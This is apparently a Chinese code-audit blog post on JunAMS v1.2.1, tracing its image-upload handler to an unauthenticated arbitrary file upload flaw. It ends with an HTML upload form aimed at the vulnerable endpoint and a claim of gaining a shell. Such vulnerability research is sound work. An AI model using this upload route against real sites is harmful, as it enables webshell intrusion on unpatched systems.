JunAMS v1.2.1.20190403程式碼審計筆記
阿新 • • 發佈:2021-01-11
前言
過程
JunAMS是以ThinkPHP為框架的開源內容管理系統,本地搭建受影響版本JunAMS v1.2.1.20190403
前臺沒有上傳功能,進入後臺。發現在系統設定->版本管理->新增
表單中,發現檔案上傳功能
先傳張正常的圖片,抓個包看一下:
上傳功能沒問題,根據POST路徑追蹤對應功能程式碼,在common
方法中的add_images
函式,程式碼如下:
public function add_images() { $file = request()->file('file'); $path = ROOT_PATH . 'public' . DS . 'edit' . DS; if($file){ $info = $file->validate([])->move($path); if($info){ $name = $info->getSaveName(); $path = $path.$name; # 是否需要壓縮 if (\qiniu\Qiniu::get_zip() == 1) { \qiniu\Qiniu::image_png_size_add($path, $path); } # 關閉七牛雲上傳 if (\qiniu\Qiniu::get_status() == 0) { $url = str_replace(['\\', '//'],'/', dirname($_SERVER['SCRIPT_NAME']) .DS. 'public' .DS. 'edit' .DS. $name); } else { # 要先釋放TP5的例項,否則無法刪除圖片 unset($info); $url = \qiniu\Qiniu::put($path, $name); } # 成功上傳後 獲取上傳資訊 if ($url) { echo json_encode([ 'code' => 0, 'msg' => '上傳成功', 'data' => [ 'src' => $url ], ], JSON_UNESCAPED_UNICODE);exit; } } # 上傳失敗獲取錯誤資訊 echo json_encode([ 'code' => '01', 'msg' => '上傳失敗:'.$file->getError(), 'data' => '', ], JSON_UNESCAPED_UNICODE);exit; } }
$info
獲取檔案詳情,並經過move
函式處理,追蹤下move()
public function move($path, $savename = true, $replace = true) { // 檔案上傳失敗,捕獲錯誤程式碼 if (!empty($this->info['error'])) { $this->error($this->info['error']); return false; } // 檢測合法性 if (!$this->isValid()) { $this->error = 'upload illegal files'; return false; } // 驗證上傳 if (!$this->check()) { return false; } $path = rtrim($path, DS) . DS; // 檔案儲存命名規則 $saveName = $this->buildSaveName($savename); $filename = $path . $saveName; // 檢測目錄 if (false === $this->checkPath(dirname($filename))) { return false; } // 不覆蓋同名檔案 if (!$replace && is_file($filename)) { $this->error = ['has the same filename: {:filename}', ['filename' => $filename]]; return false; } /* 移動檔案 */ if ($this->isTest) { rename($this->filename, $filename); } elseif (!move_uploaded_file($this->filename, $filename)) { $this->error = 'upload write error'; return false; } // 返回 File 物件例項 $file = new self($filename); $file->setSaveName($saveName)->setUploadInfo($this->info); return $file; }
這裡我們需要著重關注驗證上傳
部分,看下check
函式如何定義
public function check($rule = []) { $rule = $rule ?: $this->validate; /* 檢查檔案大小 */ if (isset($rule['size']) && !$this->checkSize($rule['size'])) { $this->error = 'filesize not match'; return false; } /* 檢查檔案 Mime 型別 */ if (isset($rule['type']) && !$this->checkMime($rule['type'])) { $this->error = 'mimetype to upload is not allowed'; return false; } /* 檢查檔案字尾 */ if (isset($rule['ext']) && !$this->checkExt($rule['ext'])) { $this->error = 'extensions to upload is not allowed'; return false; } /* 檢查影象檔案 */ if (!$this->checkImg()) { $this->error = 'illegal image files'; return false; } return true; }
check
函式中檢查了檔案型別、字尾
和影象檔案
,依次看下程式碼,首先來看checkMime()
public function checkMime($mime)
{
$mime = is_string($mime) ? explode(',', $mime) : $mime;
return in_array(strtolower($this->getMime()), $mime);
}
直接將傳入的型別與獲取到的型別做對比,未做過濾,繼續看checkExt()
public function checkExt($ext)
{
if (is_string($ext)) {
$ext = explode(',', $ext);
}
$extension = strtolower(pathinfo($this->getInfo('name'), PATHINFO_EXTENSION));
return in_array($extension, $ext);
}
字尾型別也沒有限制,看下checkImg()
public function checkImg()
{
$extension = strtolower(pathinfo($this->getInfo('name'), PATHINFO_EXTENSION));
// 如果上傳的不是圖片,或者是圖片而且字尾確實符合圖片型別則返回 true
return !in_array($extension, ['gif', 'jpg', 'jpeg', 'bmp', 'png', 'swf']) || in_array($this->getImageType($this->filename), [1, 2, 3, 4, 6, 13]);
}
/**
* 判斷影象型別
* @access protected
* @param string $image 圖片名稱
* @return bool|int
*/
protected function getImageType($image)
{
if (function_exists('exif_imagetype')) {
return exif_imagetype($image);
}
try {
$info = getimagesize($image);
return $info ? $info[2] : false;
} catch (\Exception $e) {
return false;
}
}
這裡限制了當上傳的字尾為'gif', 'jpg', 'jpeg', 'bmp', 'png', 'swf'
時,檔案內容必須為圖片,換言之,當不是圖片字尾時,內容沒有限制
整個上傳流程為:獲取圖片檔案字尾、Mime型別、內容,當字尾為圖片檔案時,檢測內容是否為圖片,當字尾不為圖片檔案時,定義上傳目錄與檔名,上傳成功,返回檔案路徑。並且common方法沒有受後臺許可權驗證基類Backend限制,任意使用者可訪問,產生前臺任意檔案上傳漏洞。
利用
本地構造上傳表單
<form enctype="multipart/form-data" action="http://localhost//admin.php/common/add_images.html" method="post">
<input type="file" name="file" size="50"><br>
<input type="submit" value="Upload">
</form>
任意檔案上傳GETSHELL:
最後
上傳檔案位置不止一處,其他的還需一一驗證。